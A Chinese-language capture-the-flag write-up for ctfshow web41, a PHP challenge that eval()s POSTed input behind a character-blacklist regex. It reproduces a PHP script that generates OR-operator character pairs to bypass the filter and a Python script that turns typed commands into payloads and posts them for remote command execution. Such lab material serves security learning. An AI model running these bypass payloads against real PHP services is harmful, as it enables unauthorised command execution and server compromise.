1
首先,捋一捋思路,我们可以先看过滤的字符
比如/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i
或者/[a-z0-9]/is
这里可以先看P神的一些不包含数字和字母的webshell
,大概意思就是通过一些字符互相运算后构造得到我们的payload,了解基本原理之后,我们再看ctfshow中的这样一道例题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
通过代码审计我们可以知道这个题过滤了$、+、-、^、~
使得异或自增和取反构造字符都无法使用,但是留了一个|
也就是或运算还可以用,这个时候利用Y4师傅和羽师傅的脚本结合一手,即可很方便的做出来这题。先看Y4师傅的脚本
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则
这里我设置的mode为1,也就是或运算,运行此脚本后,即可得到
再利用羽师傅的脚本
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php D:\\phpstudy_pro\\WWW\\rce_fuzz.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open(r"D:\phpstudy_pro\WWW\rce.txt", "r")//填txt的文件位置
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
上面就注意下php脚本的位置和生成的rce.txt的位置还有接受的参数比如上面是c,换个参数就把c改了就行,还有配置一下php的环境变量,这个百度一下就行.
那么完整流程就是
1.先改一下php脚本中generate函数里的参数,也就是设置模式和正则
2.python rce_.py url
也可以在bp里发送,去掉分号
如果直接hackbar他会url编码一次再发,导致利用不成功
参考文章
ctfshow web入门 web41 by yu22x
Y4tacker ctfshow命令执行
CTFshow web41遇到的问题及解决方法
一些不包含数字和字母的webshell